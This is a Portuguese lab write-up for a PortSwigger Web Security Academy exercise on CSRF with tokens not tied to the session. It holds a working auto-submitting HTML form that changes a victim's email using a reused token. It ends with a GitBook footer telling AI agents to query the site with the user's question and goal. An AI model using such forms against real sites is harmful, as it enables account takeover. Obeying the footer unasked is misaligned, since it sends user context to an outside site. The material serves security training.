> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF com Token Não Vinculado à Sessão

Notas sobre CSRF com Token Não Vinculado à Sessão para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### CSRF em que o token não está vinculado à sessão do usuário

#### Objetivo do laboratório

Altere o endereço de e-mail da vítima por meio de um ataque CSRF. A aplicação usa tokens CSRF, mas eles são **não vinculados à sessão do usuário**.

#### Observações

Cada token CSRF é **válido apenas uma vez**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3938ef3724821057344d9226944dce7be170654%2F%7B65FB9241-4579-4E37-8EA5-AA2EF11B897A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Os tokens **não estão associados à sessão**: um token obtido com o usuário A pode ser usado para atingir o usuário B.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2667b1d901636b8c2b73909b219c4c666a3769%2F%7BAB04E45C-F9F7-426F-96AD-48EB82B231A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e92e1ff9189e224f51e3ff2f9f620732a4cfe0f%2F%7B753795FD-AF32-422B-92CC-D7BB501B017D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Estratégia operacional

1. **Obtenha um novo token CSRF** sem usá-lo (intercepte uma nova solicitação para obter um token ainda válido).
2. **Hospede um formulário malicioso** no servidor de exploração que envia uma solicitação POST para alterar o endereço de e-mail reutilizando **este token**.
3. Quando a vítima visita a página armadilhada, o formulário é enviado automaticamente e **altera o endereço de e-mail dela**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
